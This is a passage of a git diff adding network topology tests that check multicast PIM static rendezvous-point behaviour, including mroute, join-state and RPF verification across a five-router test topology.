tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS, expected=False + ) + assert result is not True, ( + "Testcase {} : Failed \n " + "r3: (S,G) upstream state is joined and join timer is running\n Error: {}".format( + tc_name, result + ) + ) + + step("r3: Verify (S, G) ip mroutes") + oif = "r3-r1-eth0" + result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + # Uncomment next line for debugging + # tgen.mininet_cli() + + write_test_footer(tc_name) + + +def test_RP_configured_as_FHR_1_p1(request): + """ + TC_22_1_P1: Verify OIF and RFP for (*,G) and (S,G) when static RP configure + in FHR router + + Topology used: + ________r2_____ + | | + iperf | | iperf + r0-----r1-------------r3-----r5 + + r1 : LHR + r3 : FHR/RP + """ + + tgen = get_topogen() + tc_name = request.node.name + write_test_header(tc_name) + + # Don"t run this test if we have any failure. + if tgen.routers_have_failure(): + pytest.skip(tgen.errors) + + step("Creating configuration from JSON") + reset_config_on_routers(tgen) + app_helper.stop_all_hosts() + clear_mroute(tgen) + clear_pim_interface_traffic(tgen, TOPO) + + step("Enable IGMP on r1 interface") + step("Configure RP on r2 (loopback interface) for the group range" " 225.1.1.0/24") + step("Enable the PIM on all the interfaces of r1, r2, r3 and r4 routers") + step("Send the IGMP join from r0") + step("Send multicast traffic from r5") + + step("r1, r2, r3, r4: Delete existing RP configuration" "configure r3(FHR) as RP") + input_dict = { + "r1": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.2.17", + "group_addr_range": GROUP_RANGE_ALL, + "delete": True, + } + ] + } + }, + "r2": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.2.17", + "group_addr_range": GROUP_RANGE_ALL, + "delete": True, + } + ] + } + }, + "r3": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.2.17", + "group_addr_range": GROUP_RANGE_ALL, + "delete": True, + } + ] + } + }, + "r4": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.2.17", + "group_addr_range": GROUP_RANGE_ALL, + "delete": True, + } + ] + } + }, + } + result = create_pim_config(tgen, TOPO, input_dict) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1, r2, r3, r4: Configure r3(FHR) as RP") + input_dict = { + "r1": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.3.17", + "group_addr_range": GROUP_RANGE_ALL, + } + ] + } + }, + "r2": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.3.17", + "group_addr_range": GROUP_RANGE_ALL, + } + ] + } + }, + "r3": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.3.17", + "group_addr_range": GROUP_RANGE_ALL, + } + ] + } + }, + "r4": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.3.17", + "group_addr_range": GROUP_RANGE_ALL, + } + ] + } + }, + } + + result = create_pim_config(tgen, TOPO, input_dict) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify RP info") + dut = "r1" + rp_address = "1.0.3.17" + iif = "r1-r3-eth2" + result = verify_pim_rp_info( + tgen, TOPO, dut, GROUP_RANGE_ALL, iif, rp_address, SOURCE + ) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r0: Send IGMP join") + result = app_helper.run_join("r0", GROUP_ADDRESS, "r1") + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r0: Verify IGMP groups") + oif = "r1-r0-eth0" + result = verify_igmp_groups(tgen, dut, oif, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r5: Send multicast traffic for group 225.1.1.1") + result = app_helper.run_traffic("r5", GROUP_ADDRESS, "r3") + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) upstream IIF interface") + result = verify_upstream_iif(tgen, dut, iif, STAR, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) upstream join state and join timer") + result = verify_join_state_and_timer(tgen, dut, iif, STAR, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) ip mroutes") + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (S, G) upstream IIF interface") + result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (S, G) upstream join state and join timer") + result = verify_join_state_and_timer(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (S, G) ip mroutes") + result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r3: Verify (S, G) upstream IIF interface") + dut = "r3" + iif = "r3-r5-eth3" + result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r3: Verify (S, G) upstream join state and join timer") + result = verify_join_state_and_timer( + tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS, expected=False + ) + assert result is not True, ( + "Testcase {} : Failed \n " + "r3: (S,G) upstream state is joined and join timer is running\n Error: {}".format( + tc_name, result + ) + ) + + step("r3: Verify (S, G) ip mroutes") + oif = "r3-r1-eth0" + result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + # Uncomment next line for debugging + # tgen.mininet_cli() + + write_test_footer(tc_name) + + +def test_RP_configured_as_FHR_2_p2(request): + """ + TC_22_2_P2: Verify OIF and RFP for (*,G) and (S,G) when static RP configure + in FHR router + + Topology used: + ________r2_____ + | | + iperf | | iperf + r0-----r1-------------r3-----r5 + + r1 : LHR + r3 : FHR/RP + """ + tgen = get_topogen() + tc_name = request.node.name + write_test_header(tc_name) + + # Don"t run this test if we have any failure. + if tgen.routers_have_failure(): + pytest.skip(tgen.errors) + + step("Creating configuration from JSON") + reset_config_on_routers(tgen) + app_helper.stop_all_hosts() + clear_mroute(tgen) + clear_pim_interface_traffic(tgen, TOPO) + + step("Enable IGMP on r1 interface") + step("Configure RP on r2 (loopback interface) for the group range" " 225.1.1.0/24") + step("Enable the PIM on all the interfaces of r1, r2, r3 and r4 routers") + step("Send multicast traffic from r5") + step("Send the IGMP join from r0") + + step("r1, r2, r3, r4: Delete existing RP configuration" "configure r3(FHR) as RP") + input_dict = { + "r1": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.2.17", + "group_addr_range": GROUP_RANGE_ALL, + "delete": True, + } + ] + } + }, + "r2": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.2.17", + "group_addr_range": GROUP_RANGE_ALL, + "delete": True, + } + ] + } + }, + "r3": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.2.17", + "group_addr_range": GROUP_RANGE_ALL, + "delete": True, + } + ] + } + }, + "r4": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.2.17", + "group_addr_range": GROUP_RANGE_ALL, + "delete": True, + } + ] + } + }, + } + + result = create_pim_config(tgen, TOPO, input_dict) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1, r2, r3, r4: Configure r3(FHR) as RP") + input_dict = { + "r1": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.3.17", + "group_addr_range": GROUP_RANGE_ALL, + } + ] + } + }, + "r2": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.3.17", + "group_addr_range": GROUP_RANGE_ALL, + } + ] + } + }, + "r3": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.3.17", + "group_addr_range": GROUP_RANGE_ALL, + } + ] + } + }, + "r4": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.3.17", + "group_addr_range": GROUP_RANGE_ALL, + } + ] + } + }, + } + + result = create_pim_config(tgen, TOPO, input_dict) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify RP info") + dut = "r1" + rp_address = "1.0.3.17" + iif = "r1-r3-eth2" + result = verify_pim_rp_info( + tgen, TOPO, dut, GROUP_RANGE_ALL, iif, rp_address, SOURCE + ) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r5: Send multicast traffic for group 225.1.1.1") + result = app_helper.run_traffic("r5", GROUP_ADDRESS, "r3") + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r0: Send IGMP join") + result = app_helper.run_join("r0", GROUP_ADDRESS, "r1") + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r0: Verify IGMP groups") + oif = "r1-r0-eth0" + result = verify_igmp_groups(tgen, dut, oif, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) upstream IIF interface") + result = verify_upstream_iif(tgen, dut, iif, STAR, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) upstream join state and join timer") + result = verify_join_state_and_timer(tgen, dut, iif, STAR, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) ip mroutes") + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (S, G) upstream IIF interface") + iif = "r1-r3-eth2" + result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (S, G) upstream join state and join timer") + result = verify_join_state_and_timer(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (S, G) ip mroutes") + result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r3: Verify (S, G) upstream IIF interface") + dut = "r3" + iif = "r3-r5-eth3" + result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r3: Verify (S, G) upstream join state and join timer") + result = verify_join_state_and_timer( + tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS, expected=False + ) + assert result is not True, ( + "Testcase {} : Failed \n " + "r3: (S,G) upstream state is joined and join timer is running\n Error: {}".format( + tc_name, result + ) + ) + + step("r3: Verify (S, G) ip mroutes") + oif = "r3-r1-eth0" + result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + # Uncomment next line for debugging + # tgen.mininet_cli() + + write_test_footer(tc_name) + + +def test_SPT_RPT_path_different_p1(request): + """ + TC_23_P1: Verify (*,G) and (S,G) populated correctly when RPT and SPT path + are different + + Topology used: + ________r2_____ + | | + iperf | | iperf + r0-----r1-------------r3-----r5 + + r1: LHR + r2: RP + r3: FHR + """ + + tgen = get_topogen() + tc_name = request.node.name + write_test_header(tc_name) + + # Don"t run this test if we have any failure. + if tgen.routers_have_failure(): + pytest.skip(tgen.errors) + + step("Creating configuration from JSON") + reset_config_on_routers(tgen) + app_helper.stop_all_hosts() + clear_mroute(tgen) + clear_pim_interface_traffic(tgen, TOPO) + + step("Enable IGMP on r1 interface and send IGMP join (225.1.1.1) to r1") + step("Configure RP on r2 (loopback interface) for the group range" " 224.0.0.0/4") + step("Enable the PIM on all the interfaces of r1, r2, r3 and r4 routers") + step("Send multicast traffic from r3") + + step("r2: Verify RP info") + dut = "r2" + rp_address = "1.0.2.17" + iif = "lo" + result = verify_pim_rp_info(tgen, TOPO, dut, GROUP_ADDRESS, iif, rp_address, SOURCE) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r0: Send IGMP join") + result = app_helper.run_join("r0", GROUP_ADDRESS, "r1") + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify IGMP groups") + dut = "r1" + oif = "r1-r0-eth0" + result = verify_igmp_groups(tgen, dut, oif, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r5: Send multicast traffic for group 225.1.1.1") + result = app_helper.run_traffic("r5", GROUP_ADDRESS, "r3") + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) upstream IIF interface") + iif = "r1-r2-eth1" + result = verify_upstream_iif(tgen, dut, iif, STAR, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) upstream join state and join timer") + result = verify_join_state_and_timer(tgen, dut, iif, STAR, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) ip mroutes") + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (S, G) upstream IIF interface") + iif = "r1-r3-eth2" + result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (S, G) upstream join state and join timer") + result = verify_join_state_and_timer(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (S, G) ip mroutes") + result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Verify (*, G) upstream IIF interface") + dut = "r2" + iif = "lo" + result = verify_upstream_iif(tgen, dut, iif, STAR, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Verify (*, G) upstream join state and join timer") + result = verify_join_state_and_timer(tgen, dut, iif, STAR, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Verify (*, G) ip mroutes") + oif = "r2-r1-eth0" + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r3: Verify (S, G) upstream IIF interface") + dut = "r3" + iif = "r3-r5-eth3" + result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r3: Verify (S, G) upstream join state and join timer") + result = verify_join_state_and_timer( + tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS, expected=False + ) + assert result is not True, ( + "Testcase {} : Failed \n " + "r3: (S,G) upstream state is joined and join timer is running\n Error: {}".format( + tc_name, result + ) + ) + + step("r3: Verify (S, G) ip mroutes") + oif = "r3-r1-eth0" + result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Verify (S, G) upstream IIF interface") + dut = "r2" + iif = "r2-r3-eth1" + result = verify_upstream_iif( + tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS, joinState="NotJoined" + ) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Verify (S, G) upstream join state and join timer") + result = verify_join_state_and_timer( + tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS, expected=False + ) + assert result is not True, ( + "Testcase {} : Failed \n " + "r2: (S,G) upstream state is joined and join timer is running\n Error: {}".format( + tc_name, result + ) + ) + + step("r2: Verify (S, G) ip mroutes") + oif = "none" + result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + # Uncomment next line for debugging + # tgen.mininet_cli() + + write_test_footer(tc_name) + + +def test_clear_pim_configuration_p1(request): + """ + TC_25_P1: Verify (*,G) and (S,G) populated correctly after clearing the + PIM,IGMP and mroutes joins + + Topology used: + ________r2_____ + | | + iperf | | iperf + r0-----r1-------------r3-----r5 + | | + |_____________| + r4 + r1 : LHR + r2 : RP + r3 : FHR + """ + + tgen = get_topogen() + tc_name = request.node.name + write_test_header(tc_name) + + # Don"t run this test if we have any failure. + if tgen.routers_have_failure(): + pytest.skip(tgen.errors) + + step("Creating configuration from JSON") + reset_config_on_routers(tgen) + app_helper.stop_all_hosts() + clear_mroute(tgen) + clear_pim_interface_traffic(tgen, TOPO) + + step("Enable IGMP on r1 interface") + step("Configure RP on r2 (loopback interface) for the group range" " 224.0.0.0/4") + step("Enable the PIM on all the interfaces of r1, r2, r3 and r4 routers") + step("Send the IGMP join from r0") + step("Send multicast traffic from r5") + + step("r2: Verify RP info") + dut = "r2" + rp_address = "1.0.2.17" + oif = "lo" + result = verify_pim_rp_info( + tgen, TOPO, dut, GROUP_RANGE_ALL, oif, rp_address, SOURCE + ) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r0: Send IGMP join") + result = app_helper.run_join("r0", GROUP_ADDRESS, "r1") + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify IGMP groups") + dut = "r1" + iif = "r1-r0-eth0" + result = verify_igmp_groups(tgen, dut, iif, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r5: Send multicast traffic for group 225.1.1.1") + result = app_helper.run_traffic("r5", GROUP_ADDRESS, "r3") + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) upstream IIF interface") + dut = "r1" + iif = "r1-r2-eth1" + result = verify_upstream_iif(tgen, dut, iif, STAR, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) upstream join state and join timer") + result = verify_join_state_and_timer(tgen, dut, iif, STAR, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) ip mroutes") + oif = "r1-r0-eth0" + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify IGMP groups timer restarted") + result = clear_igmp_interfaces(tgen, dut) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify PIM neighbor timer restarted") + result = clear_pim_interfaces(tgen, dut) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify PIM mroute timer restarted") + result = clear_mroute_verify(tgen, dut) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + # Uncomment next line for debugging + # tgen.mininet_cli() + + write_test_footer(tc_name) + + + + +if __name__ == "__main__": + ARGS = ["-s"] + sys.argv[1:] + sys.exit(pytest.main(ARGS)) diff --git a/tests/topotests/multicast_pim_static_rp_topo1/test_multicast_pim_static_rp2.py b/tests/topotests/multicast_pim_static_rp_topo1/test_multicast_pim_static_rp2.py new file mode 100755 index 0000000000..991d7d5fb6 --- /dev/null +++ b/tests/topotests/multicast_pim_static_rp_topo1/test_multicast_pim_static_rp2.py @@ -0,0 +1,1799 @@ +#!/usr/bin/env python + +# +# Copyright (c) 2019 by VMware, Inc. ("VMware") +# Used Copyright (c) 2018 by Network Device Education Foundation, +# Inc. ("NetDEF") in this file. +# +# Permission to use, copy, modify, and/or distribute this software +# for any purpose with or without fee is hereby granted, provided +# that the above copyright notice and this permission notice appear +# in all copies. +# +# THE SOFTWARE IS PROVIDED "AS IS" AND VMWARE DISCLAIMS ALL WARRANTIES +# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF +# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL VMWARE BE LIABLE FOR +# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY +# DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, +# WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS +# ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE +# OF THIS SOFTWARE. +# + +""" +Following tests are covered to test Multicast basic functionality: + +Topology: + + _______r2_____ + | | + iperf | | iperf + r0-----r1-------------r3-----r5 + | | + |_____________| + r4 + +Test steps +- Create topology (setup module) +- Bring up topology + +TC_1 : Verify upstream interfaces(IIF) and join state are updated properly + after adding and deleting the static RP +TC_2 : Verify IIF and OIL in "show ip pim state" updated properly after + adding and deleting the static RP +TC_3: (*, G) Mroute entry are cleared when static RP gets deleted +TC_4: Verify (*,G) prune is send towards the RP after deleting the static RP +TC_5: Verify OIF entry for RP is cleared when RP becomes unreachable +TC_6: Verify IIF and OIL in "show ip pim state" updated properly when RP + becomes unreachable +TC_7 : Verify upstream interfaces(IIF) and join state are updated properly + after adding and deleting the static RP +TC_8: Verify (*,G) prune is send towards the RP when RP becomes unreachable +TC_9 : Verify RP configured after IGMP join received, PIM join towards RP is + sent immediately +TC_10 : Verify RP becomes reachable after IGMP join received, PIM join + towards RP is sent immediately +TC_11 : Verify PIM join send towards the higher preferred RP +TC_12 : Verify PIM prune send towards the lower preferred RP +TC_13 : Verify RPF interface is updated in mroute (kernel) when higher + preferred overlapping RP configured +TC_14 : Verify IIF and OIL in "show ip pim state" updated properly when higher + preferred overlapping RP configured +TC_15 : Verify upstream interfaces(IIF) and join state are updated when higher + preferred overlapping RP is configured +TC_16 : Verify join is send to lower preferred RP, when higher preferred RP + gets deleted +TC_17 : Verify prune is send to higher preferred RP when higher preferred RP + gets deleted +TC_18 : Verify RPF interface updated in mroute when higher preferred RP gets + deleted +TC_19 : Verify IIF and OIL in "show ip pim state" updated when higher + preferred overlapping RP is deleted +TC_20 : Verify PIM upstream IIF updated when higher preferred overlapping RP + deleted +TC_21_1 : Verify OIF and RFP for (*,G) and (S,G) when static RP configure in + LHR router +TC_21_2 : Verify OIF and RFP for (*,G) and (S,G) when static RP configure in + LHR router +TC_22_1 : Verify OIF and RPF for (*,G) and (S,G) when static RP configure in + FHR router +TC_22_2 : Verify OIF and RPF for (*,G) and (S,G) when static RP configure in + FHR router +TC_23 : Verify (*,G) and (S,G) populated correctly when RPT and SPT path are + different +TC_24 : Verify (*,G) and (S,G) populated correctly when SPT and RPT share the + same path +TC_25 : Verify (*,G) and (S,G) populated correctly after clearing the PIM , + IGMP and mroutes joins +TC_26 : Restart the PIMd process and verify PIM joins , and mroutes entries +TC_27 : Configure multiple groups (10 grps) with same RP address +TC_28 : Configure multiple groups (10 grps) with different RP address +TC_29 : Verify IIF and OIL in updated in mroute when upstream interface + configure as RP +TC_30 : Verify IIF and OIL change to other path after shut the primary path +TC_31 : Verify RP info and (*,G) mroute after deleting the RP and shut / no + shut the RPF interface. +TC_32 : Verify RP info and (*,G) mroute after deleting the RP and shut / no + shut the RPF interface +""" + +import os +import sys +import time +from time import sleep +import datetime +import pytest + +# Save the Current Working Directory to find configuration files. +CWD = os.path.dirname(os.path.realpath(__file__)) +sys.path.append(os.path.join(CWD, "../")) +sys.path.append(os.path.join(CWD, "../lib/")) + +# Required to instantiate the topology builder class. + +# pylint: disable=C0413 +# Import topogen and topotest helpers + +from lib.topogen import Topogen, get_topogen +from lib.topolog import logger +from lib.topojson import build_topo_from_json, build_config_from_json + +from lib.common_config import ( + start_topology, + write_test_header, + write_test_footer, + reset_config_on_routers, + step, + shutdown_bringup_interface, + kill_router_daemons, + start_router_daemons, + create_static_routes, + topo_daemons, +) +from lib.pim import ( + create_pim_config, + verify_igmp_groups, + verify_upstream_iif, + verify_join_state_and_timer, + verify_mroutes, + verify_pim_neighbors, + get_pim_interface_traffic, + verify_pim_rp_info, + verify_pim_state, + clear_pim_interface_traffic, + clear_igmp_interfaces, + clear_pim_interfaces, + clear_mroute, + clear_mroute_verify, + McastTesterHelper, +) + +pytestmark = [pytest.mark.pimd, pytest.mark.staticd] + + +# Global variables +GROUP_RANGE_ALL = "224.0.0.0/4" +GROUP_RANGE = "225.1.1.1/32" +GROUP_RANGE_LIST_1 = [ + "225.1.1.1/32", + "225.1.1.2/32", + "225.1.1.3/32", + "225.1.1.4/32", + "225.1.1.5/32", +] +GROUP_RANGE_LIST_2 = [ + "225.1.1.6/32", + "225.1.1.7/32", + "225.1.1.8/32", + "225.1.1.9/32", + "225.1.1.10/32", +] +GROUP_ADDRESS = "225.1.1.1" +GROUP_ADDRESS_LIST_1 = ["225.1.1.1", "225.1.1.2", "225.1.1.3", "225.1.1.4", "225.1.1.5"] +GROUP_ADDRESS_LIST_2 = [ + "225.1.1.6", + "225.1.1.7", + "225.1.1.8", + "225.1.1.9", + "225.1.1.10", +] +STAR = "*" +SOURCE_ADDRESS = "10.0.6.2" +SOURCE = "Static" + + +def build_topo(tgen): + """Build function""" + + # Building topology from json file + build_topo_from_json(tgen, TOPO) + + +def setup_module(mod): + """ + Sets up the pytest environment + + * `mod`: module name + """ + + testsuite_run_time = time.asctime(time.localtime(time.time())) + logger.info("Testsuite start time: %s", testsuite_run_time) + logger.info("=" * 40) + + topology = """ + + _______r2_____ + | | + iperf | | iperf + r0-----r1-------------r3-----r5 + | | + |_____________| + r4 + + """ + logger.info("Master Topology: \n %s", topology) + + logger.info("Running setup_module to create topology") + + # This function initiates the topology build with Topogen... + json_file = "{}/multicast_pim_static_rp.json".format(CWD) + tgen = Topogen(json_file, mod.__name__) + global TOPO + TOPO = tgen.json_topo + + # ... and here it calls Mininet initialization functions. + + # get list of daemons needs to be started for this suite. + daemons = topo_daemons(tgen, TOPO) + + # Starting topology, create tmp files which are loaded to routers + # to start daemons and then start routers + start_topology(tgen, daemons) + + # Don"t run this test if we have any failure. + if tgen.routers_have_failure(): + pytest.skip(tgen.errors) + + # Creating configuration from JSON + build_config_from_json(tgen, TOPO) + + # Verify PIM neighbors + result = verify_pim_neighbors(tgen, TOPO) + assert result is True, "setup_module :Failed \n Error:" " {}".format(result) + + # XXX Replace this using "with McastTesterHelper()... " in each test if possible. + global app_helper + app_helper = McastTesterHelper(tgen) + + logger.info("Running setup_module() done") + + +def teardown_module(): + """Teardown the pytest environment""" + + logger.info("Running teardown_module to delete topology") + + tgen = get_topogen() + + app_helper.cleanup() + + # Stop toplogy and Remove tmp files + tgen.stop_topology() + + logger.info("Testsuite end time: %s", time.asctime(time.localtime(time.time()))) + logger.info("=" * 40) + + +##################################################### +# +# Testcases +# +##################################################### + + +def verify_mroute_repopulated(uptime_before, uptime_after): + """ + API to compare uptime for mroutes + + Parameters + ---------- + * `uptime_before` : Uptime dictionary for any particular instance + * `uptime_after` : Uptime dictionary for any particular instance + """ + + for group in uptime_before.keys(): + for source in uptime_before[group].keys(): + if set(uptime_before[group]) != set(uptime_after[group]): + errormsg = ( + "mroute (%s, %s) has not come" + " up after mroute clear [FAILED!!]" % (source, group) + ) + return errormsg + + d_1 = datetime.datetime.strptime(uptime_before[group][source], "%H:%M:%S") + d_2 = datetime.datetime.strptime(uptime_after[group][source], "%H:%M:%S") + if d_2 >= d_1: + errormsg = "mroute (%s, %s) is not " "repopulated [FAILED!!]" % ( + source, + group, + ) + return errormsg + + logger.info("mroute (%s, %s) is " "repopulated [PASSED!!]", source, group) + + return True + + +def verify_state_incremented(state_before, state_after): + """ + API to compare interface traffic state incrementing + + Parameters + ---------- + * `state_before` : State dictionary for any particular instance + * `state_after` : State dictionary for any particular instance + """ + + for router, state_data in state_before.items(): + for state, _ in state_data.items(): + if state_before[router][state] >= state_after[router][state]: + errormsg = ( + "[DUT: %s]: state %s value has not" + " incremented, Initial value: %s, " + "Current value: %s [FAILED!!]" + % ( + router, + state, + state_before[router][state], + state_after[router][state], + ) + ) + return errormsg + + logger.info( + "[DUT: %s]: State %s value is " + "incremented, Initial value: %s, Current value: %s" + " [PASSED!!]", + router, + state, + state_before[router][state], + state_after[router][state], + ) + + return True + + +def test_restart_pimd_process_p2(request): + """ + TC_26_P2: Restart the PIMd process and verify PIM upstream and mroutes + entries + Topology used: + ________r2_____ + | | + iperf | | iperf + r0-----r1-------------r3-----r5 + | | + |_____________| + r4 + r1 : LHR + r2 : RP + r3 : FHR + """ + + tgen = get_topogen() + tc_name = request.node.name + write_test_header(tc_name) + + # Don"t run this test if we have any failure. + if tgen.routers_have_failure(): + pytest.skip(tgen.errors) + + step("Creating configuration from JSON") + reset_config_on_routers(tgen) + app_helper.stop_all_hosts() + clear_mroute(tgen) + clear_pim_interface_traffic(tgen, TOPO) + + step("Enable IGMP on r1 interface and send IGMP join (225.1.1.1) to R1") + step("Configure RP on r3 (loopback interface) for the group range" " 224.0.0.0/4") + step("Enable the PIM on all the interfaces of r1, r2, r3 and r4 routers") + step("Send multicast traffic from R3") + step("Restart the PIMd process") + + step("r2: Verify RP info") + dut = "r2" + rp_address = "1.0.2.17" + oif = "lo" + result = verify_pim_rp_info( + tgen, TOPO, dut, 